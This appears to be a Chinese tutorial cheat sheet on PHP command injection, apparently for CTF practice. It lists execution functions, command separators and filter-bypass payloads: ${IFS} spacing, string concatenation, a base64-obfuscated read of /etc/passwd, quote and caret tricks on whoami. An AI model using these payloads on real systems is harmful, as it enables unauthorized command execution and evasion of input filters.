常见的命令执行函数:
system() #输出并返回最后一行shell结果。 exec() #不输出结果,返回最后一行shell结果,所有结果保存到一个返回数组里。 passthru() #只调用命令,把命令的运行结果原样地直接输出到标准输出设备上。 popen()、proc_open() #不会直接返回执行结果,而是返回一个文件指针 shell_exec() #通过shell执行命令并以字符串的形式返回完整的输出 反引号 #本质是使用shell_exec()函数
命令分隔符:
windows: && || & | linux: && || & | ; 分号;在shell中担任连续指令的功能
php环境中可以使用: %0a 换行符 %0d 回车符
截断符号:
$ ; | & - ( ) { } 反引号 || && %0a #有时可当空格使用
命令执行绕过
1、绕过空格 ${IFS} $IFS$9 #$9可改成$加其他数字 < <> #重定向符 {cat,flag.php} #用逗号,实现了空格功能 %20 %09
![](https://img-blog.csdnimg.cn/img_convert/f53c9620f816d8a16a62ac019f4544f5.png)
2、拼接
#在linux系统中 a=g;cat fla$a.php a=fl;b=ag.php;cat $a$b #在php的ping环境中 ip=;a=g;cat fla$a.php ip=;a=fl;b=ag.php;cat $a$b
![](https://img-blog.csdnimg.cn/img_convert/b58edc64ca8469e599ec64bc019654de.png)
3、编码
cat /etc/$(echo "cGFzc3dk"|base64 -d)
![](https://img-blog.csdnimg.cn/img_convert/89700930f52836bf38104e01bcbc0b1e.png)
4、单引号、双引号绕过
cat te''st.txt cat te""st.txt c''at te''st.txt c""at te""st.txt
![](https://img-blog.csdnimg.cn/img_convert/4fb5c71fb919870419dccf024e67f038.png)
5、反斜杠绕过
cat te\st.txt c\at te\st.txt
![](https://img-blog.csdnimg.cn/img_convert/eacfcf7d7a5fb2b68c04d49135c5d0aa.png)
6、通配符绕过
cat /etc/pass*
![](https://img-blog.csdnimg.cn/img_convert/501bc7ae1e2f283931a98ff26ebcf947.png)
windows下同理:如当命令执行被拦截的时候需要进行绕过,如whoami被拦截可以尝试如下进行绕过 w"h"o"a"m"i "w"h"o"a"m"i" "w"h"o"a"m"i w"h"o"a"m"i" who^ami wh""o^a^mi wh""o^a^mi ((((Wh^o^am""i)))) (Wh^o^am""i) (Whoami)
![](https://img-blog.csdnimg.cn/img_convert/198e0cd8a756d20b8c34eeb3ae7f38b7.png)
或者 set a=who set b=ami %a%%b% //正常执行whoami call
![](https://img-blog.csdnimg.cn/img_convert/abf652ba8437c87ed4727a73d06b090a.png)
%a%%b% //正常执行whoami